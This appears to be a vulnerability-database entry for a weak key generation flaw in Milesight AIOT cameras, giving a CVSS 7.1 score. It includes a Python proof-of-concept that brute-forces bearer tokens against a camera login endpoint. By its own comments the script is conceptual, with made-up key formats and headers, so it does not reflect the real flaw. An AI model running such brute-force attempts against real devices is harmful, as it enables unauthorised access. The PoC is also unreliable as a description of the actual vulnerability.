A weak key generation vulnerability exists in specific firmware versions of Milesight AIOT cameras allows authorization to be bypassed.
CVSS Details
CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:A/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
Milesight AIOT cameras 特定固件版本
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
import itertools
# Conceptual Proof of Concept (PoC) for CVE-2026-28747
# This script demonstrates how an attacker might attempt to bypass
# authorization using weak key generation logic.
TARGET_IP = "192.168.1.100"
TARGET_URL = f"http://{TARGET_IP}/api/v1/login"
# Simulating the weak key generation space
# In a real scenario, this logic would be reversed from the firmware
def generate_weak_keys(seed_range):
weak_keys = []
for i in seed_range:
# Example of a weak transformation
weak_key = f"key_{i:04d}"
weak_keys.append(weak_key)
return weak_keys
def attempt_auth_bypass(url, keys):
print(f"[*] Attempting auth bypass on {url}...")
for key in keys:
headers = {
"User-Agent": "Mozilla/5.0",
"Authorization": f"Bearer {key}" # Hypothetical header
}
try:
response = requests.get(url, headers=headers, timeout=2)
if response.status_code == 200:
print(f"[+] Bypass successful! Valid key found: {key}")
print(f"[+] Response: {response.text}")
return True
except requests.RequestException as e:
continue
print("[-] Bypass failed.")
return False
if __name__ == "__main__":
# Generate a limited set of keys based on possible weak seeds
potential_keys = generate_weak_keys(range(0, 1000))
attempt_auth_bypass(TARGET_URL, potential_keys)